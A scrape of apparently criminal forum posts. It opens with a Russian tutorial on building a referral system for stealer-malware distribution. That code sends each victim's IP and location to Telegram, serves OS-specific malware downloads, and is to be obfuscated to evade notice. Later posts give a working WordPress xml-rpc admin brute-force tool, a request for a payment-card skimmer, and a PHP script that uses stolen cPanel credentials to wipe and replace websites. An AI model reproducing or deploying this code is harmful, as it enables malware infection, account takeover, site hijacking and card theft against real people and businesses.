Потому что с технической точки зрения, нашему бэку абсолютно без разницы, ему пришел код XSSTOP из формы, или в ссылке был хвост "?ref=xsstop". Алгоритм то один - взял код, сравнил с базой, отправил уведомление чей мамонт куда зашел.

Мы реализуем нашу реферальную систему таким образом, чтобы переключение ее из режима реф ссылок в режим промо кодов занимало считанные минуты - чтобы можно было на разные проекты внедрить разные варианты.

ФРОНТ

Начнем с фронтенда. Сразу обговорим: мы хотим максимальную совместимость, поэтому использовать будем ванильный js и соответственно будем импортировать его в наш сайт старым добрым тегом script.

Первый вариант, который я покажу - вариант с классическими реферальными ссылками. А чуть ниже сразу покажу, как его передалать в вариант с промо кодами. Изменения бэкэнда не потребуются, поэтому бэк мы сделаем один раз и навсегда.

Вариант 1
Создаем javascript файл, называем его promo.js
Основная наша функция в нем для удобства названа letMeScamYou.

JavaScript:Copy to clipboard

const letMeScamYou = async () => {
  const losPromos = await (await fetch('https://your.site/getPromo')).json()
  const promoCode = window.localStorage.getItem('mypromo')
 
  if (promoCode == undefined) {
    return
  }
 
  if (promoCode in losPromos) {
    alert('Your download will start soon!')
    const userData = await getUserData()
    await tgNotify(`🔔 <b>Уведомление для @${losPromos[promoCode]}</b>\n\n👾 <b>Проект: </b>MY_TEST_PROJECT\n📡 <b>IP-адрес: </b>${userData.ip}\n🌍 <b>Локация: </b>${userData.city}, ${userData.country_name}\n🌐 <b>User-Agent: </b>${window.navigator.userAgent}`)
    getDownloadByOs()
  } else if (promoCode) {
    alert("This promo code doesn't exist")
  }
}

Логика работы этой функции достаточно примитивна:​

  1. Запрашиваем словарь наших промокодов с бэка​

  2. Получаем актуальный промокод пользователя из локалстора​

  3. Если там ничего нет, дропаем выполнение функции. Это кто-то залетный, перешел по прямой ссылке. Возможно бот. Нам такие не интересны, им мы наш стиллер показывать не будем.​

  4. Если же промокод присутствует в локалсторе и также совпадает с одним из промокодов в нашей системе - мы тыкаемся в ipapi для определения данных по юзеру, затем шлем уведомление в телеграм и инициализируем загрузку нашего вредоноса​

Окей, как вы заметили - мы движемся сверху вниз и для корректной работы нам теперь нужно реализовать еще пару функций.

Первое - функция уведомлений в телеграм (я специально вынес ее на фронт, зачем

  • расскажу в конце статьи)

JavaScript:Copy to clipboard

const tgNotify = async (msg) => {
  await fetch(encodeURI(tgBaseUrl + msg))
}

Никакой магии, обычный асинхронный фетч.
Все данные для работы с телеграммом вынесем для удобства редактирования в глобальные константы.
Далее у нас идет похожая функция - получение данных о пользователе, а именно нас тут интересуют его айпишник и геолокация (страна и город).

JavaScript:Copy to clipboard

const getUserData = async () => {
  const response = await fetch('https://ipapi.co/json')
  const responseJSON = await response.json()
  return responseJSON
}

Далее, функция загрузки файла.
Я разбил ее на две функции. Первая определяет систему пользователя по юзерагенту и в зависимости от системы дает ему скачать нужный файл.
Если нужного файла нет (например у нас стиллеры только под винду и мак, а пользователь зашел с андроида или линукса) - выдает сообщение о том, что данная платформа на текущий момент времени не поддерживается.
Вторая функция - собственно реализация скачивания файла через инжект а-тега с нужной ссылкой в страницу с последующим кликом по этому элементу.

JavaScript:Copy to clipboard

const getDownloadByOs = () => {
  let osData = window.navigator.userAgent;
  if (osData.search('Windows') !== -1) {
    download('https://your.site/win.zip')
  } else if (osData.search('Mac') !== -1) {
    download('https://your.site/mac.zip')
  } else {
    alert('Version for your platform not available yet. Stay tuned!')
  }
}

const download = (url) => {
  const a = document.createElement('a')
  a.href = url
  a.download = url.split('/').pop()
  document.body.appendChild(a)
  a.click()
  document.body.removeChild(a)
}

Ну и еще один важный момент - как вы уже заметили, мы читаем промокод из локалстора, но ни в какой момент времени его туда не пишем.
Реализация "на коленке" выглядит так: в наш js файл добавим небольшой кусок кода, который как раз таки будет брать код из поискового параметра и записывать его в локалстор, и разместим этот код на странице, на которую ведет наша реферальная ссылка. При переходе пользователя скрипт будет отрабатывать и писать код в локалстор, а дальше уже не важно пошел пользователь скачивать файл или гулять по сайту - код записан и останется там на все время.

JavaScript:Copy to clipboard

if (window.localStorage.getItem('mypromo') == undefined) {
  var urlParams = new URLSearchParams(window.location.search)
  var myParam = urlParams.get('ref')
  if (myParam != null) {
    window.localStorage.setItem('mypromo', myParam)
  }
}

Итак, вот такой вот файл у нас получился целиком:

JavaScript:Copy to clipboard

const tgToken = 'YOUR_TG_TOKEN'
const tgChat = 'YOUR_TG_CHAT_ID'
const tgBaseUrl = `https://api.telegram.org/bot${tgToken}/sendMessage?chat_id=${tgChat}&disable_web_page_preview=true&parse_mode=html&text=`

const tgNotify = async (msg) => {
  await fetch(encodeURI(tgBaseUrl + msg))
}

if (window.localStorage.getItem('mypromo') == undefined) {
  var urlParams = new URLSearchParams(window.location.search)
  var myParam = urlParams.get('ref')
  if (myParam != null) {
    window.localStorage.setItem('mypromo', myParam)
  }
}

const letMeScamYou = async () => {
  const losPromos = await (await fetch('https://your.site/getPromo')).json()
  const promoCode = window.localStorage.getItem('mypromo')
 
  if (promoCode == undefined) {
    return
  }
 
  if (promoCode in losPromos) {
    alert('Your download will start soon!')
    const userData = await getUserData()
    await tgNotify(`🔔 <b>Уведомление для @${losPromos[promoCode]}</b>\n\n👾 <b>Проект: </b>MY_TEST_PROJECT\n📡 <b>IP-адрес: </b>${userData.ip}\n🌍 <b>Локация: </b>${userData.city}, ${userData.country_name}\n🌐 <b>User-Agent: </b>${window.navigator.userAgent}`)
    getDownloadByOs()
  } else if (promoCode) {
    alert("This promo code doesn't exist")
  }
}

const getUserData = async () => {
  const response = await fetch('https://ipapi.co/json')
  const responseJSON = await response.json()
  return responseJSON
}

const getDownloadByOs = () => {
  let osData = window.navigator.userAgent;
  if (osData.search('Windows') !== -1) {
    download('https://your.site/win.zip')
  } else if (osData.search('Mac') !== -1) {
    download('https://your.site/mac.zip')
  } else {
    alert('Version for your platform not available yet. Stay tuned!')
  }
}

const download = (url) => {
  const a = document.createElement('a')
  a.href = url
  a.download = url.split('/').pop()
  document.body.appendChild(a)
  a.click()
  document.body.removeChild(a)
}

Для того, чтобы все заработало, осталось сделать всего две вещи:

Импортировать наш файл в html документ с помощью тега script

HTML:Copy to clipboard

<script src="promo.js"></script>

Навесить на кнопку скачивания нашу функцию letMeScamYou (например, с помощью атрибута onclick)

HTML:Copy to clipboard

<button onclick="letMeScamYou()"></button>

Ну что же, с базовой реализацией закончили, пора показать, как подшаманить код чтобы это работало с классической системой промокодов.

Вариант 2

Делаем раз-два-три​

  1. Удаляем if который отвечает за запись кода в локалстор​

  2. Изменяем способ получения значения promoCode - теперь вместо локалстораджа мы будем дергать его из формы​

  3. Функцию letMeScamYou вешаем на кнопку в модальном окне, а нужный id привязываем к элементу input нашей модалки (как сделать красивую модалку с использованием TailwindCSS можно прочитать в моей предыдущей статье)​

JavaScript:Copy to clipboard

const tgToken = 'YOUR_TG_TOKEN'
const tgChat = 'YOUR_TG_CHAT_ID'
const tgBaseUrl = `https://api.telegram.org/bot${tgToken}/sendMessage?chat_id=${tgChat}&disable_web_page_preview=true&parse_mode=html&text=`

const tgNotify = async (msg) => {
  await fetch(encodeURI(tgBaseUrl + msg))
}

const letMeScamYou = async () => {
  const losPromos = await (await fetch('https://your.site')).json()
  const promoCode = document.getElementById("myInput").value.toUpperCase()
 
  if (promoCode == undefined) {
    return
  }
 
  if (promoCode in losPromos) {
    alert('Your download will start soon!')
    const userData = await getUserData()
    await tgNotify(`🔔 <b>Уведомление для @${losPromos[promoCode]}</b>\n\n👾 <b>Проект: </b>MY_TEST_PROJECT\n📡 <b>IP-адрес: </b>${userData.ip}\n🌍 <b>Локация: </b>${userData.city}, ${userData.country_name}\n🌐 <b>User-Agent: </b>${window.navigator.userAgent}`)
    getDownloadByOs()
  } else if (promoCode) {
    alert("This promo code doesn't exist")
  }
}

const getUserData = async () => {
  const response = await fetch('https://ipapi.co/json')
  const responseJSON = await response.json()
  return responseJSON
}

const getDownloadByOs = () => {
  let osData = window.navigator.userAgent;
  if (osData.search('Windows') !== -1) {
    download('https://your.site/win.zip')
  } else if (osData.search('Mac') !== -1) {
    download('https://your.site/mac.zip')
  } else {
    alert('Version for your platform not available yet. Stay tuned!')
  }
}

const download = (url) => {
  const a = document.createElement('a')
  a.href = url
  a.download = url.split('/').pop()
  document.body.appendChild(a)
  a.click()
  document.body.removeChild(a)
}

Ну и собственно все на этом, теперь пользователь может вводить промокод в специально отведенном для этого поле и скачивать свой файл.
Момент с модалкой я тут специально упускаю, потому что во-вервых уже писал об этом, а во-вторых - это большой полет для фантазии, можно придумать всякие разные прикольные варианты реализации.

Важный момент, который я хочу сказать про фронт перед тем, как мы перейдем к бэкэнду. Обфусцируйте этот код перед тем, как подключать к сайту. То есть вы вот этот скрипт взяли, прогнали через обфускатор (например obfuscator io), получили кашу в перемешку с трэшем нагенеренным. И его уже добавляете в свой проект. Так и код проживет намного дольше, и не будете лишним отсвечивать перед пользователем.

Ну все, теперь с фронтом точно закончили - переходим к бэкэнду.

БЭКЭНД

На бэке мы будем использовать, как я уже сказал, ноду и экспресс.
Начнем с базовой вещи - установка всего этого добра. К сожалению, у джаваскрипта как языка и экосистемы есть такая неприятная особенность - развитие происходило очень быстро и стремительно, каждый изобретал свой велосипед, и поэтому по итогу в js сейчас существует 100500 вариантов сделать одно и то же. Больно, но что поделать.

Методом проб и ошибок, я пришел к следующему наиболее комфортному формату развертки ноды:

(Все ниже описанное чаще всего я проделываю на серверах под Ubuntu 22.04. На других никс системах будет плюс минус то же самое. Под виндой необходимо предварительно поставить гит, разрешить выполнение неподписанного пауэршелла и поставить все используя собранные установщики для винды)

Первым делом качаем и ставим nvm - это утилита для контроля версий ноды.

Bash:Copy to clipboard

curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.5/install.sh | bash

Через нее ставим ноду 18 версии и активируем ее как среду по умолчанию

Bash:Copy to clipboard

nvm install 18
nvm use 18

Затем ставим yarn, переходим в папку проекта, инициализируем проект и добавляем нужные нам пакеты с помощью команды yarn add:

Bash:Copy to clipboard

npm i -g yarn
mkdir st
cd st/
yarn init
yarn add express
yarn install

Опять же, не буду углубляться в тему почему я использую yarn и чем мне не угодил дефолтный npm - так уж сложилось.

Переходим к нашему файлу index.js и самой реализации бэка.
Сначала я покажу базовый вариант - для одного проекта. И затем уже продемонстрирую как от этого можно сделать шаг в сторону работы с несколькими командами по нескольким проектам.

Для начала, импортируем и инициализируем всю необходимую нам обвзяку:

JavaScript:Copy to clipboard

const express = require('express')
const bodyParser = require('body-parser')
const cors = require('cors')
const app = express()
const port = 80

var urlencodedParser = bodyParser.urlencoded({ extended: false })

app.use(cors())
app.use('/qwerty12345', express.static('public'))

Тут особо ничего интересного - импортировали экспресс, а также надстройки для парса запросов и корс. Создали прилку, указали путь к статик директории (не забываем также создать эту директорию в нашей системе и сложить туда все нужные файлы). Путь можно указать любой, я предпочитаю делать его рандомным, чтобы хоть немного спрятать наши файлы от любопытных глаз.

Далее мы создадим словарь для хранения промокодов. Идея следующая - конечно можно было бы сделать по-кошерному, сразу повесить мускул, но зачем усложнять на этапе обучения. Поэтому реализуем наше типа хранилище в формате простого словаря, где промокоды - ключи, а айди пользователей - соответственно значения.

JavaScript:Copy to clipboard

var losPromos = {'MY-CODE': 'my_tg_username'}

По традиции повесим на корень отдачу хэллоуворлда, чтобы никто не догадался

JavaScript:Copy to clipboard

app.get('/', (req, res) => {
  res.send('Hello World!')
})

И в самый конец файла добавим старт нашего приложения

JavaScript:Copy to clipboard

app.listen(port, () => {
  console.log(`Example app listening on port ${port}`)
})

Окей, с подготовкой закончили, теперь перейдем к основным (значащим) эндпоинтам. Их у нас будет два - сеттер и геттер

Эндпоинт getPromo отдает на фронт словарь с промокодами и именами пользователей (для проверки и дальнейших действий).

JavaScript:Copy to clipboard

app.get('/getPromo', (req, res) => {
  res.json(solPromos)
})

Эндпоинт setPromo - служебный, для обновления словаря промокодов. Здесь мы методом пост шлем новый словарь (это же дефолтный сеттер, он не обязан быть удобным, верно?) и добавляем к нему секретный ключ key (чтобы так могли делать только мы, а не все подряд). Ну и собственно перезаписываем значение наших промиков.

JavaScript:Copy to clipboard

app.post('/setPromo', urlencodedParser, (req, res) => {
  if (req.body.key == 'mymasterkey') {
    losPromos = {...req.body}
    delete losPromos.key
    res.json(losPromos)
  } else {
    res.send('wrong key')
  }
})

Ну вот и все, базовый функционал нашего бэка готов, можно потыкаться туда постмэном и проверить, что все работает как надо.

Если у вас один проект и соло трафферы - дальше можно не усложнять, этого функционала вполне хватает для комфортной работы.
Но что делать, если проектов несколько? Или работает несколько команд, и у каждой свой набор промокодов?
Тут тоже все достаточно просто, мы оставим общую идею и немного изменим реализацию.

Во-первых, пропатчим наше хранилище. Теперь оно будет иметь вот такой вид:

JavaScript:Copy to clipboard

var losPromos = {
  'keys': {'myproject': 'mymasterkey'},
  'myproject': {'MY-CODE': 'my_tg_username'},
}

По сути мы добавили еще один уровень вложенности, теперь в losPromos у нас хранятся словари с промиками для разных проектов, а также появился объект keys, в котором мы храним наши токены для внесения изменений (для каждого проекта - свой).

Вместо одного сеттера и геттера, мы с помощью шаблона зададим сразу целую пачку.

Эндпоинт getPromo практически не изменится.

JavaScript:Copy to clipboard

app.get('/getPromo/:landName', (req, res) => {
  res.json(losPromos[req.params.landName])
})

А вот эндпоинт setPromo нужно прописать аккуратно, чтобы не запутаться во вложенности

JavaScript:Copy to clipboard

app.post('/setPromo/:landName', urlencodedParser, (req, res) => {
  if (req.body.key == losPromos.keys[req.params.landName]) {
    losPromos[req.params.landName] = {...req.body}
    delete losPromos[req.params.landName].key
    res.json(losPromos[req.params.landName])
  } else {
    res.send('wrong key')
  }
})

Дополнительно к этому, нам понадобится функционал создания новых проектов - инициализация хранилища промиков и создание ключа.
За это у нас будет отвечать новый эндпоинт setProject

JavaScript:Copy to clipboard

app.post('/setProject', urlencodedParser, (req, res) => {
  if (req.body.key == 'supermasterkey') {
    losPromos[req.body.name] = {}
    losPromos.keys[req.body.name] = req.body.secret
    res.json(losPromos)
  } else {
    res.send('wrong key')
  }
})

Ну и естественно нужно будет поправить на фронте путь до нашего геттера промокодов, он немного изменился.

Итоговый код выглядит вот так:

JavaScript:Copy to clipboard

const express = require('express')
const bodyParser = require('body-parser')
const cors = require('cors')
const app = express()
const port = 80

var urlencodedParser = bodyParser.urlencoded({ extended: false })

var losPromos = {
  'keys': {'myproject': 'mymasterkey'},
  'myproject': {'MY-CODE': 'my_tg_username'},
}

app.use(cors())
app.use('/qwerty12345', express.static('public'))

app.get('/', (req, res) => {
  res.send('Hello World!')
})

app.get('/getPromo/:landName', (req, res) => {
  res.json(losPromos[req.params.landName])
})

app.post('/setPromo/:landName', urlencodedParser, (req, res) => {
  if (req.body.key == losPromos.keys[req.params.landName]) {
    losPromos[req.params.landName] = {...req.body}
    delete losPromos[req.params.landName].key
    res.json(losPromos[req.params.landName])
  } else {
    res.send('wrong key')
  }
})

app.post('/setProject', urlencodedParser, (req, res) => {
  if (req.body.key == 'supermasterkey') {
    losPromos[req.body.name] = {}
    losPromos.keys[req.body.name] = req.body.secret
    res.json(losPromos)
  } else {
    res.send('wrong key')
  }
})

app.listen(port, () => {
  console.log(`Example app listening on port ${port}`)
})

Отлично, с кодом закончили, осталось показать как это чудо запускать.
Аматеры запускают через консоль нодой или ярном, но мы же с вами не такие - мы будем запускать менеджером процессов.
Ну если без шуток - это просто удобный способ запустить приложение, поглядывать на логи при необходимости, а также не париться поднимется ли оно в случае краша или ребута.

Ставим pm2, стартуем наше приложение, сохраняем список процессов и добавляем в автозагрузку.

Bash:Copy to clipboard

npm i -g pm2
pm2 start index.js
pm2 startup
pm2 save

Ну вот собственно и все, система написана, запущена и работает пока мы отдыхаем или считаем денежки.

ПОСЛЕСЛОВИЕ

В завершение этой статьи я хотел бы сказать пару слов о вещах, которые я не стал освещать в основном материале.

Первое - про более сложные реферальные системы.
Здесь я имею в виду полноценные многоуровневые рефералки, а также различные вариации на тему матриц и деревьев. Такие системы широко распространены, и это масхэв если вы планируете запустить казино, или пирамиду, или просто хотите партнерский маркетинг мощно прокачать в своем продукте. В этой статье я не стал про них рассказывать, так как задача очевидно стояла другая - объяснить как написать инструмент для команд, чтобы определять где чей мамонт. Если интересно осветить какой-то другой кейс - напишите мне, сделаем.

Второе - как наверняка заметил вдумчивый читатель, есть некоторые вопросики к реализации. Например, почему мы храним телеграм токен на фронте? Или почему мы не используем базу данных на бэке? Где эндпоинт смены мастер-кода для проектов?

И тут ответ тоже достаточно простой. Я искренне верю, что XSS - ресурс образовательный. Здесь собираются люди в том числе, чтобы развиваться и учиться. Поэтому я намеренно оставил в проекте поле для маневра, чтобы заинтересованный читатель смог не просто жмякнуть контрл ц контрл в, а самостоятельно воспроизвел весь код, доработал его, улучшил и возможно даже поделился своими успехами в комментариях. Для удобства и фронт и бэк написаны на одном языке, поэтому перенос частей кода с фронта на бэк и обратно не доставит читателю никаких трудностей.

Вот список улучшений, с которых я рекомендую начать:​

  • Перенести отправку уведомлений и все связанные с этим данные на бэк, чтобы не отсвечивать. На фронте оставить только функцию и в нее передавать нужный текст.​

  • Обернуть на бэке отправку уведомлений в try с таймаутом, чтобы если уведомление не удалось отправить, файл все равно сервился​

  • Перенести проверку существования промокода так же на бэк, чтобы не светить списком всех промиков. На фронте соответственно изменить логику работы алгоритма проверки через запрос к бэку.​

  • Реализовать персист на бэке, любым удобным способом - от json файла до полноценной бд​

И на этом все!
С вами как всегда был Патрик, буду рад вашим мыслям, пожеланиям и обратной связи в комментариях.

Растите, развивайтесь и зарабатывайте.
Специально для XSS.IS​

Wordpress xml-rpc brute force tool source.
ID: 67668b27b4103b69df375d2d
Thread ID: 81300
Created: 2023-02-05T11:47:59+0000
Last Post: 2023-02-25T21:11:49+0000
Author: elvira
Replies: 3 Views: 713

wordlist type:
url.tld/wp-login.php|admin|admin

Counts only users with administrative privileges as hits.

Python:Copy to clipboard

import requests
import json
from urllib.parse import urlparse
import math
import xml.etree.ElementTree as ET
import threading
import time
import argparse

def wpXMLbrute(line):
    url = line.split("|")[0]
    username = line.split("|")[1]
    password = line.split("|")[2]
    url = url.replace("wp-login.php", "xmlrpc.php")
    data = """<?xml version="1.0" encoding="UTF-8"?>
    <methodCall>
    <methodName>wp.getUsersBlogs</methodName>
    <params>
    <param>
    <value>{}</value>
    </param>
    <param>
    <value>{}</value>
    </param>
    </params>
    </methodCall>""".format(username, password)
    headers = {'Content-Type': 'text/xml'}
    try:
        r = requests.post(url, data=data, headers=headers, timeout=7)
        if r.status_code == 200:
            if r.text.find("<?xml") == -1:
                print("Failed")
                return
            root = ET.fromstring(r.text)
            for child in root.iter('member'):
                if child.find('name').text == "isAdmin":
                    if child.find('value').find('boolean').text == "1":
                        print("Success")
                        with open("success.txt", "a") as f:
                            f.write(line)
                        break
        else:
            print("Failed")
    except:
        print("Failed")
        pass

def multi(thread, list):
    with open(list, "r", encoding='cp437') as f:
        for line in f:
            t = threading.Thread(target=wpXMLbrute, args=(line,))
            t.start()
            while threading.active_count() > thread:
                time.sleep(1)

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("-t", "--thread", help="Thread", type=int)
    parser.add_argument("-l", "--list", help="List", type=str)
    args = parser.parse_args()
    if args.thread == None or args.list == None:
        print("Usage: python3 main.py -t 10 -l list.txt")
        print("xss.is / @elvira")
        exit()
    else:
        multi(args.thread, args.list)
Крипто биржа на nextjs
ID: 67668b27b4103b69df375cd5
Thread ID: 106646
Created: 2024-01-25T12:01:57+0000
Last Post: 2024-04-20T18:32:53+0000
Author: Asist
Replies: 1 Views: 709

Слив с другова форума https://dropmefiles.com/qMynf
ответственность за файлы не беру используйте вм

need someone to make .js skimmer
ID: 67668b27b4103b69df375d12
Thread ID: 90135
Created: 2023-06-10T08:27:17+0000
Last Post: 2023-07-04T13:24:35+0000
Author: crypt0
Replies: 5 Views: 700

As post says i need someone to make me a .js skimmer that exils data via POST to a sperate URL and then into .CSV
Will be placed on my own shop(s) must overlay the original payment page
shops are SHOPIFY, WOOcommerce, and wordpress with payment plugins
If anyone can do lets talk

[Script] [Help] cPanel uploader and domain redirecter
ID: 67668b27b4103b69df375cf2
Thread ID: 104692
Created: 2023-12-26T10:00:45+0000
Last Post: 2024-01-06T13:03:13+0000
Author: MrDark
Replies: 6 Views: 696

First of all, Merry Christmas!
Building a script that will use a list of cpanels url:user:pass to upload and replace original site and redirect all existing domains + subdomains to public_html path.
I don't understand what am I doing wrong? Like 5-10 % off cpanels gets the job done right, the rest will say success but site is not replaced with the site i want.

Any help would be appreciated.

PHP:Copy to clipboard

<?php

class Cpanel
{
    protected $cpanelUsername;
    protected $cpanelPassword;
    protected $cpanelUrl;

    public function __construct($cpanelUsername, $cpanelPassword, $cpanelUrl)
    {
        $this->cpanelPassword = $cpanelPassword;
        $this->cpanelUsername = $cpanelUsername;
        $this->cpanelUrl = $cpanelUrl;
    }



private function getAddonDomains()
{
    $header[0] = "Authorization: Basic " . base64_encode($this->cpanelUsername . ":" . $this->cpanelPassword) . "\n\r";

    $getAddonDomainsActionUrl = $this->cpanelUrl . "/json-api/cpanel";

    $payload = array(
        'cpanel_jsonapi_module' => 'DomainInfo',
        'cpanel_jsonapi_func' => 'list_domains',
        'cpanel_jsonapi_apiversion' => 3,
    );

    $curlGetAddonDomains = curl_init();
    curl_setopt($curlGetAddonDomains, CURLOPT_URL, $getAddonDomainsActionUrl);
    curl_setopt($curlGetAddonDomains, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($curlGetAddonDomains, CURLOPT_POST, true);
    curl_setopt($curlGetAddonDomains, CURLOPT_POSTFIELDS, $payload);
    curl_setopt($curlGetAddonDomains, CURLOPT_HTTPHEADER, $header);

    $addonDomainsResult = curl_exec($curlGetAddonDomains);
    curl_close($curlGetAddonDomains);

    $addonDomainsResultArray = json_decode($addonDomainsResult, true);

    $addonDomains = [];

    if (
        isset($addonDomainsResultArray['result']['data']['addon_domains']) &&
        is_array($addonDomainsResultArray['result']['data']['addon_domains'])
    ) {
        $addonDomains = $addonDomainsResultArray['result']['data']['addon_domains'];
    } else {
        error_log("Failed to retrieve addon domains. Response: " . json_encode($addonDomainsResultArray));
    }

    return $addonDomains;
}


   
    public function setRedirectForAddonDomains()
    {
        $addonDomains = $this->getAddonDomains();
        $mainDomain = $this->getMainDomain();

        foreach ($addonDomains as $addonDomain) {
            $this->addRedirectRule($addonDomain, $mainDomain);
        }
    }

    private function addRedirectRule($sourceDomain, $destinationDomain)
    {
        $header[0] = "Authorization: Basic " . base64_encode($this->cpanelUsername . ":" . $this->cpanelPassword) . "\n\r";

        $addRedirectRuleActionUrl = $this->cpanelUrl . "/json-api/cpanel";

        $payload = array(
            'cpanel_jsonapi_module' => 'Fileman',
            'cpanel_jsonapi_func' => 'savefile',
            'cpanel_jsonapi_apiversion' => 3,
            'dir' => '/public_html',
            'file' => '.htaccess',
            'content' => "RewriteEngine On\n"
                . "RewriteCond %{HTTP_HOST} ^" . preg_quote($sourceDomain, '/') . "$ [NC]\n"
                . "RewriteRule ^(.*)$ http://" . $destinationDomain . "/$1 [L,R=301]\n",
        );

        $curlAddRedirectRule = curl_init();
        curl_setopt($curlAddRedirectRule, CURLOPT_URL, $addRedirectRuleActionUrl);
        curl_setopt($curlAddRedirectRule, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($curlAddRedirectRule, CURLOPT_POST, true);
        curl_setopt($curlAddRedirectRule, CURLOPT_POSTFIELDS, $payload);
        curl_setopt($curlAddRedirectRule, CURLOPT_HTTPHEADER, $header);

        $addRedirectRuleResult = curl_exec($curlAddRedirectRule);
        curl_close($curlAddRedirectRule);

        $addRedirectRuleResultArray = json_decode($addRedirectRuleResult, true);

        if ($addRedirectRuleResultArray && empty($addRedirectRuleResultArray['errors'])) {
            echo "Redirect rule added for $sourceDomain to $destinationDomain.\n--------------------------------------------------\n";
        } else {
            error_log("Failed to add redirect rule for $sourceDomain. Response: " . json_encode($addRedirectRuleResultArray));
        }
    }





public function clearPublicHtml($destinationDir = "/public_html")
{
    $header[0] = "Authorization: Basic " . base64_encode($this->cpanelUsername . ":" . $this->cpanelPassword) . "\n\r";

    $deleteAllPayload = array(
        'dir' => $destinationDir,
    );

    $deleteAllActionUrl = $this->cpanelUrl . "/execute/Fileman/empty_files";

    $curlDeleteAll = curl_init();
    curl_setopt($curlDeleteAll, CURLOPT_URL, $deleteAllActionUrl);
    curl_setopt($curlDeleteAll, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($curlDeleteAll, CURLOPT_POST, true);
    curl_setopt($curlDeleteAll, CURLOPT_POSTFIELDS, $deleteAllPayload);
    curl_setopt($curlDeleteAll, CURLOPT_HTTPHEADER, $header);

    $deleteAllResult = curl_exec($curlDeleteAll);
    curl_close($curlDeleteAll);

    $deleteAllResultArray = json_decode($deleteAllResult, true);

    return $deleteAllResultArray;
}


public function checkFileExists($filePath)
{
    $header[0] = "Authorization: Basic " . base64_encode($this->cpanelUsername . ":" . $this->cpanelPassword) . "\n\r";

    $payload = array('dir' => dirname($filePath), 'file' => basename($filePath));

    $checkFileExistsActionUrl = $this->cpanelUrl . "/execute/Fileman/file_exists";

    $curlCheckFileExists = curl_init();
    curl_setopt($curlCheckFileExists, CURLOPT_URL, $checkFileExistsActionUrl);
    curl_setopt($curlCheckFileExists, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($curlCheckFileExists, CURLOPT_POST, true);
    curl_setopt($curlCheckFileExists, CURLOPT_POSTFIELDS, $payload);
    curl_setopt($curlCheckFileExists, CURLOPT_HTTPHEADER, $header);

    $checkFileExistsResult = curl_exec($curlCheckFileExists);
    curl_close($curlCheckFileExists);

    $checkFileExistsResultArray = json_decode($checkFileExistsResult, true);

    return $checkFileExistsResultArray;
}



public function getMainDomain()
{
    $header[0] = "Authorization: Basic " . base64_encode($this->cpanelUsername . ":" . $this->cpanelPassword) . "\n\r";

    $getMainDomainActionUrl = $this->cpanelUrl . "/execute/DomainInfo/list_domains";

    $curlGetMainDomain = curl_init();
    curl_setopt($curlGetMainDomain, CURLOPT_URL, $getMainDomainActionUrl);
    curl_setopt($curlGetMainDomain, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($curlGetMainDomain, CURLOPT_HTTPHEADER, $header);

    $mainDomainResult = curl_exec($curlGetMainDomain);
    curl_close($curlGetMainDomain);

    $mainDomainResultArray = json_decode($mainDomainResult, true);

    if ($mainDomainResultArray && empty($mainDomainResultArray['errors'])) {
        $mainDomain = $mainDomainResultArray['data']['main_domain'];
        return $mainDomain;
    } else {
        error_log("Failed to retrieve the main domain. Response: " . json_encode($mainDomainResultArray));
        return null;
    }
}



public function uploadFilesAndFolders($files, $folders, $destinationDir = "/public_html")
{
    $clearResult = $this->clearPublicHtml($destinationDir);

    if (!$clearResult || !empty($clearResult['error'])) {
        die(json_encode($clearResult));
    }

    $header[0] = "Authorization: Basic " . base64_encode($this->cpanelUsername . ":" . $this->cpanelPassword) . "\n\r";

    $curl = curl_init();
    $payload = array('dir' => $destinationDir);

    $successUploads = [];

    foreach ($files as $index => $file) {
        $uploadFile = realpath($file);

        $existingFile = $this->checkFileExists($destinationDir . '/' . basename($uploadFile));

        if ($existingFile && !empty($existingFile['data']['uploads'][0]['status']) && $existingFile['data']['uploads'][0]['status'] === 0) {
            continue;
        }

        if (function_exists('curl_file_create')) {
            $cf = curl_file_create($uploadFile);
        } else {
            $cf = "@/" . $uploadFile;
        }

        $payload['file-' . ($index + 1)] = $cf;
    }

    foreach ($folders as $index => $folder) {
        $this->addFilesInFolder($folder, '', $payload, $destinationDir);
    }

    $actionUrl = $this->cpanelUrl . "/execute/Fileman/upload_files";
    curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0);
    curl_setopt($curl, CURLOPT_HEADER, 0);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($curl, CURLOPT_HTTPHEADER, $header);
    curl_setopt($curl, CURLOPT_URL, $actionUrl);

    curl_setopt($curl, CURLOPT_POST, true);
    curl_setopt($curl, CURLOPT_POSTFIELDS, $payload);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);

    $result = curl_exec($curl);
    if ($result === false) {
        error_log("curl_exec threw error \"" . curl_error($curl) . "\" for $actionUrl");
    }

    curl_close($curl);

    $resultArray = json_decode($result, true);

    if (!$resultArray || !empty($resultArray['error'])) {
        return $resultArray;
    }

    $failedUploads = array_filter($resultArray['data']['uploads'], function ($upload) {
        return !empty($upload['status']) && $upload['status'] !== 1;
    });

    $successUploads = array_merge(
        $successUploads,
        array_filter($resultArray['data']['uploads'], function ($upload) {
            return !empty($upload['status']) && $upload['status'] === 1;
        })
    );

    if (!empty($failedUploads)) {
        echo "Warning: Some files could not be uploaded. Details:\n";
        print_r($failedUploads);
    }

    if (!empty($successUploads)) {

    $header[0] = "Authorization: Basic " . base64_encode($this->cpanelUsername . ":" . $this->cpanelPassword) . "\n\r";

    $getMainDomainActionUrl = $this->cpanelUrl . "/execute/DomainInfo/list_domains";

    $curlGetMainDomain = curl_init();
    curl_setopt($curlGetMainDomain, CURLOPT_URL, $getMainDomainActionUrl);
    curl_setopt($curlGetMainDomain, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($curlGetMainDomain, CURLOPT_HTTPHEADER, $header);

    $mainDomainResult = curl_exec($curlGetMainDomain);
    curl_close($curlGetMainDomain);

    $mainDomainResultArray = json_decode($mainDomainResult, true);

    if ($mainDomainResultArray && empty($mainDomainResultArray['errors'])) {
        $mainDomain = $mainDomainResultArray['data']['main_domain'];
        $subDomain = $mainDomainResultArray['data']['sub_domains'];
        $addonDomain = $mainDomainResultArray['data']['addon_domains'];
